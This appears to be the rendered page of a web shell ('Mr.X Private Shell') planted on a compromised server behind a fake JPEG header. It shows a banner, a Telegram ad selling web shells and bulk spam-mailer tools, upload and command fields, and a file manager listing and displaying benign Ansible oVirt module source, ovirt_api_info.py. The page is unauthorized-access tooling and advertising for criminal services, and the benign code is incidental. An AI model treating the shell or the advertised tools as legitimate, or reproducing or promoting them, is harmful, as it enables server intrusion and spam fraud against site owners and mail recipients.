����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-
# Copyright (c) 2017 Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

DOCUMENTATION = '''
---
module: ovirt_api_info
short_description: Retrieve information about the oVirt/RHV API
version_added: "1.0.0"
author:
- "Ondra Machacek (@machacekondra)"
description:
    - "Retrieve information about the oVirt/RHV API."
    - This module was called C(ovirt_api_facts) before Ansible 2.9, returning C(ansible_facts).
      Note that the M(ovirt.ovirt.ovirt_api_info) module no longer returns C(ansible_facts)!
options:
    follow:
      description:
        - List of linked entities, which should be fetched along with the main entity.
        - This parameter replaces usage of C(fetch_nested) and C(nested_attributes).
        - "All follow parameters can be found at following url: https://ovirt.github.io/ovirt-engine-api-model/master/#types/api/links_summary"
      type: list
      version_added: 1.5.0
      elements: str
      aliases: ['follows']
notes:
    - "This module returns a variable C(ovirt_api),
       which contains a information about oVirt/RHV API. You need to register the result with
       the I(register) keyword to use it."
extends_documentation_fragment: ovirt.ovirt.ovirt_info
'''

EXAMPLES = '''
# Examples don't contain auth parameter for simplicity,
# look at ovirt_auth module to see how to reuse authentication:

# Gather information oVirt API:
- ovirt.ovirt.ovirt_api_info:
  register: result
- ansible.builtin.debug:
    msg: "{{ result.ovirt_api }}"
'''

RETURN = '''
ovirt_api:
    description: "Dictionary describing the oVirt API information.
                  Api attributes are mapped to dictionary keys,
                  all API attributes can be found at following
                  url: https://ovirt.example.com/ovirt-engine/api/model#types/api."
    returned: On success.
    type: dict
'''

import traceback

from ansible.module_utils.basic import AnsibleModule
from ansible_collections.ovirt.ovirt.plugins.module_utils.ovirt import (
    check_sdk,
    create_connection,
    get_dict_of_struct,
    ovirt_info_full_argument_spec,
)


def main():
    argument_spec = ovirt_info_full_argument_spec()
    module = AnsibleModule(
        argument_spec,
        supports_check_mode=True,
    )
    check_sdk(module)

    try:
        auth = module.params.pop('auth')
        connection = create_connection(auth)
        api = connection.system_service().get()
        result = dict(
            ovirt_api=get_dict_of_struct(
                struct=api,
                connection=connection,
                fetch_nested=module.params.get('fetch_nested'),
                attributes=module.params.get('nested_attributes'),
            )
        )
        module.exit_json(changed=False, **result)
    except Exception as e:
        module.fail_json(msg=str(e), exception=traceback.format_exc())
    finally:
        connection.close(logout=auth.get('token') is None)


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
ovirt_affinity_group.py File 13.37 KB 0644
ovirt_affinity_label.py File 6.93 KB 0644
ovirt_affinity_label_info.py File 6.94 KB 0644
ovirt_api_info.py File 3.05 KB 0644
ovirt_auth.py File 11.28 KB 0644
ovirt_cluster.py File 35.27 KB 0644
ovirt_cluster_info.py File 4.56 KB 0644
ovirt_datacenter.py File 11.43 KB 0644
ovirt_datacenter_info.py File 4.05 KB 0644
ovirt_disk.py File 41.3 KB 0644
ovirt_disk_info.py File 4.46 KB 0644
ovirt_disk_profile.py File 6.6 KB 0644
ovirt_event.py File 7.74 KB 0644
ovirt_event_info.py File 5.79 KB 0644
ovirt_external_provider.py File 14.8 KB 0644
ovirt_external_provider_info.py File 7.14 KB 0644
ovirt_group.py File 5.31 KB 0644
ovirt_group_info.py File 4.44 KB 0644
ovirt_host.py File 29.01 KB 0644
ovirt_host_info.py File 5.29 KB 0644
ovirt_host_network.py File 21.84 KB 0644
ovirt_host_pm.py File 8.32 KB 0644
ovirt_host_storage_info.py File 6.57 KB 0644
ovirt_instance_type.py File 25.52 KB 0644
ovirt_job.py File 7.48 KB 0644
ovirt_mac_pool.py File 5.28 KB 0644
ovirt_network.py File 13.64 KB 0644
ovirt_network_info.py File 4.53 KB 0644
ovirt_nic.py File 11.59 KB 0644
ovirt_nic_info.py File 5.7 KB 0644
ovirt_permission.py File 10.72 KB 0644
ovirt_permission_info.py File 5.92 KB 0644
ovirt_qos.py File 13.95 KB 0644
ovirt_quota.py File 10.98 KB 0644
ovirt_quota_info.py File 5.02 KB 0644
ovirt_role.py File 5.88 KB 0644
ovirt_scheduling_policy_info.py File 5.15 KB 0644
ovirt_snapshot.py File 19.09 KB 0644
ovirt_snapshot_info.py File 4.93 KB 0644
ovirt_storage_connection.py File 10.02 KB 0644
ovirt_storage_domain.py File 31.08 KB 0644
ovirt_storage_domain_info.py File 4.77 KB 0644
ovirt_storage_template_info.py File 5.69 KB 0644
ovirt_storage_vm_info.py File 5.5 KB 0644
ovirt_system_option_info.py File 4.49 KB 0644
ovirt_tag.py File 8.19 KB 0644
ovirt_tag_info.py File 6.11 KB 0644
ovirt_template.py File 47.02 KB 0644
ovirt_template_info.py File 4.64 KB 0644
ovirt_user.py File 6.31 KB 0644
ovirt_user_info.py File 4.42 KB 0644
ovirt_vm.py File 124.17 KB 0644
ovirt_vm_info.py File 7.15 KB 0644
ovirt_vm_os_info.py File 4.81 KB 0644
ovirt_vmpool.py File 19.17 KB 0644
ovirt_vmpool_info.py File 4.48 KB 0644
ovirt_vnic_profile.py File 11.95 KB 0644
ovirt_vnic_profile_info.py File 4.52 KB 0644